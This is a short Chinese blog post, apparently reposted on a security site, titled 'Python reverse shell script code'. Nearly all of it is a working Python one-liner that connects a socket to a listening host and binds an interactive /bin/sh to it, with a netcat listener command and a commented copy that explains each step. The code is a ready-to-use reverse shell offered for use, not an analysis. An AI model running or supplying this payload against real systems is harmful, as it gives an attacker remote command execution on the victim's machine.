python弹shell脚本代码

颓废 2019年5月19日09:14:30评论563 views字数 533阅读1分46秒阅读模式
摘要

nc -l 1234 注释版 #shell执行 python -c #用到subprocess库fork子进程并监听结束 #os.dup2函数将shell标准输入输出绑定到socket对象的文件描述符上 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

123#本机监听端口就行

nc -l 1234

注释版

#shell执行 python -c  #用到subprocess库fork子进程并监听结束 #os.dup2函数将shell标准输入输出绑定到socket对象的文件描述符上 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日09:14:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   python弹shell脚本代码https://cn-sec.com/archives/68107.html

发表评论

匿名网友 填写信息